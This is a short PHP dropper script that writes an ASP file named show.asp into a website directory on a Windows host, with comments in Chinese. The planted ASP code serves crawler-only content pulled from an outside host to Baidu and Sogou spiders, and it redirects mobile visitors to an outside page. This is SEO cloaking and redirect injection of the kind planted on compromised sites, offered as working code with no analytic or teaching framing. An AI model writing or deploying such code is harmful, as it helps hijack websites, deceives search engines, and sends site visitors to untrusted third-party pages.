<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 文件路径
$filePath = 'D:/vhostroot/LocalUser/yuda/www/inc/show.asp';

// 文件内容
$content = '<%
Dim userAgent, isMobile, content

'' 获取用户的 User-Agent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")

'' 检查 User-Agent 中是否包含百度蜘蛛或搜狗
If InStr(userAgent, "Baiduspider") > 0 Or InStr(userAgent, "Sogou") > 0 Then
    '' 获取外部内容并输出
    Set http = CreateObject("MSXML2.ServerXMLHTTP")
    http.open "GET", "http://y.ban10.cn/ind.php", False
    http.send ""
    content = http.responseText
    Response.Write content
    Response.End
End If

'' 检查是否是移动设备
isMobile = False
If InStr(userAgent, "Android") > 0 Or InStr(userAgent, "webOS") > 0 Or InStr(userAgent, "iPhone") > 0 Or InStr(userAgent, "iPad") > 0 Or InStr(userAgent, "iPod") > 0 Or InStr(userAgent, "BlackBerry") > 0 Or InStr(userAgent, "IEMobile") > 0 Or InStr(userAgent, "Opera Mini") > 0 Then
    isMobile = True
End If

'' 如果是移动设备，重定向到指定页面
If isMobile Then
    Response.Redirect("https://tz.ban10.cn/yao.php")
    Response.End
End If
%>';

// 使用 file_put_contents 写入文件
if (file_put_contents($filePath, $content) !== false) {
    echo "文件 show.asp 已成功创建并写入内容。";
} else {
    echo "无法写入文件，请检查权限或路径是否正确。";
}
?>